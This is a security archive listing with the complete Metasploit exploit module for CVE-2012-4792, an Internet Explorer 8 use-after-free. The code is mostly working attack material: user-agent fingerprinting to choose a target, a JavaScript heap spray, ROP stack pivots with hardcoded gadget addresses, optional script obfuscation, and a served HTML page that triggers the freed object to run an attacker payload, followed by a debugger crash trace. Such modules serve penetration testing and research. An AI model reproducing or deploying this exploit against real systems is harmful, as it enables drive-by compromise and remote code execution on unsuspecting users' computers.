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Microsoft Internet Explorer CDwnBindInfo Object Use-After-Free

Microsoft Internet Explorer CDwnBindInfo Object Use-After-Free
Posted Dec 31, 2012
Authored by Eric Romang, sinn3r, juan vazquez, mahmud ab rahman | Site metasploit.com

This Metasploit module exploits a vulnerability found in Microsoft Internet Explorer. A use-after-free condition occurs when a CButton object is freed, but a reference is kept and used again during a page reload, an invalid memory that's controllable is used, and allows arbitrary code execution under the context of the user. Please note: This vulnerability has been exploited in the wild targeting mainly China/Taiwan/and US-based computers.

tags | exploit, arbitrary, code execution
advisories | CVE-2012-4792
MD5 | ded95fac262cac303634ac39e4211d5a

Microsoft Internet Explorer CDwnBindInfo Object Use-After-Free

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb

def initialize(info={})
super(update_info(info,
'Name' => "Microsoft Internet Explorer CDwnBindInfo Object Use-After-Free Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Microsoft Internet Explorer. A
use-after-free condition occurs when a CButton object is freed, but a reference
is kept and used again during a page reload, an invalid memory that's controllable
is used, and allows arbitrary code execution under the context of the user.

Please note: This vulnerability has been exploited in the wild targeting
mainly China/Taiwan/and US-based computers.
},
'License' => MSF_LICENSE,
'Author' =>
[
'eromang',
'mahmud ab rahman',
'juan vazquez',
'sinn3r' #Metasploit
],
'References' =>
[
[ 'CVE', '2012-4792' ],
[ 'US-CERT-VU', '154201' ],
[ 'BID', '57070' ],
[ 'URL', 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html'],
[ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'],
[ 'URL', 'http://blog.vulnhunt.com/index.php/2012/12/29/new-ie-0day-coming-mshtmlcdwnbindinfo-object-use-after-free-vulnerability/' ],
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2794220' ],
[ 'URL', 'http://blogs.technet.com/b/srd/archive/2012/12/29/new-vulnerability-affecting-internet-explorer-8-users.aspx' ]
],
'Payload' =>
{
'Space' => 980,
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30
[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x586' } ], # 0x0c0c0b30
[ 'IE 8 on Windows Server 2003', { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30
[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x586' } ] # 0x0c0c0b30
],
'Privileged' => false,
'DisclosureDate' => "Dec 27 2012",
'DefaultTarget' => 0))

register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)

end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

ie_name = "IE #{ie}"

case nt
when '5.1'
os_name = 'Windows XP SP3'
when '5.2'
os_name = 'Windows Server 2003'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
else
# OS not supported
return nil
end

targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end

return nil
end

def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4), Rex::Arch.endian(target.arch))

# Land the payload at 0x0c0c0b30
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
|

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end

return js
end

def get_payload(t, cli)
code = payload.encoded

# No rop. Just return the payload.
return code if t['Rop'].nil?

=begin
Stack Pivoting to eax:
0:008> db eax
0c0c0b30 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
0c0c0b40 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
=end
# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
if t.name =~ /Windows XP/
stack_pivot = [0x77c15ed6].pack("V") * 54 # ret
stack_pivot << [0x77c2362c].pack("V") # pop ebx, #ret
stack_pivot << [0x77c15ed5].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
else
stack_pivot = [0x77bcba5f].pack("V") * 54 # ret
stack_pivot << [0x77bb4158].pack("V") # pop ebx, #ret
stack_pivot << [0x77bcba5e].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'2003'})
end
else
print_status("Using JRE ROP")
stack_pivot = [0x7c348b06].pack("V") * 54 # ret
stack_pivot << [0x7c341748].pack("V") # pop ebx, #ret
stack_pivot << [0x7c348b05].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
end

return rop_payload
end

def load_exploit_html(my_target, cli)

p = get_payload(my_target, cli)
js = ie_heap_spray(my_target, p)

html = %Q|
<!doctype html>
<html>
<head>
<script>
#{js}

function exploit()
{
var e0 = null;
var e1 = null;
var e2 = null;
var arrObject = new Array(3000);
var elmObject = new Array(500);
for (var i = 0; i < arrObject.length; i++)
{
arrObject[i] = document.createElement('div');
arrObject[i].className = unescape("ababababababababababababababababababababa");
}

for (var i = 0; i < arrObject.length; i += 2)
{
arrObject[i].className = null;
}

CollectGarbage();

for (var i = 0; i < elmObject.length; i ++)
{
elmObject[i] = document.createElement('button');
}

for (var i = 1; i < arrObject.length; i += 2)
{
arrObject[i].className = null;
}

CollectGarbage();

try {
e0 = document.getElementById("a");
e1 = document.getElementById("b");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement('button'));
e1.applyElement(e0);
e2.outerText = "";
e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();
for(var i =0; i < 20; i++)
{
arrObject[i].className = unescape("ababababababababababababababababababababa");
}
var eip = window;
var data = "#{Rex::Text.rand_text_alpha(41)}";
eip.location = unescape("%u0b30%u0c0c" + data);

}

</script>
</head>
<body onload="eval(exploit())">
<form id="a">
</form>
<dfn id="b">
</dfn>
</body>
</html>
|

return html
end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")

my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end

html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end

end


=begin
(87c.f40): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=12120d0c ebx=0023c218 ecx=00000052 edx=00000000 esi=00000000 edi=0301e400
eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CMarkup::OnLoadStatusDone+0x504:
637848c3 ff90dc000000 call dword ptr <Unloaded_Ed20.dll>+0xdb (000000dc)[eax] ds:0023:12120de8=????????
0:008> k
ChildEBP RetAddr
020bf8a4 635c378b mshtml!CMarkup::OnLoadStatusDone+0x504
020bf8c4 635c3e16 mshtml!CMarkup::OnLoadStatus+0x47
020bfd10 636553f8 mshtml!CProgSink::DoUpdate+0x52f
020bfd24 6364de62 mshtml!CProgSink::OnMethodCall+0x12
020bfd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb
020bfd78 7e418734 mshtml!GlobalWndProc+0x183
020bfda4 7e418816 USER32!InternalCallWinProc+0x28
020bfe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150
020bfe6c 7e418a10 USER32!DispatchMessageWorker+0x306
020bfe7c 01252ec9 USER32!DispatchMessageW+0xf
020bfeec 011f48bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461
020bffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1
020bffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab
020bffec 00000000 kernel32!BaseThreadStart+0x37

0:008> r
eax=0c0c0c0c ebx=0023c1d0 ecx=00000052 edx=00000000 esi=00000000 edi=033e9120
eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x504:
637848c3 ff90dc000000 call dword ptr [eax+0DCh] ds:0023:0c0c0ce8=????????

=end

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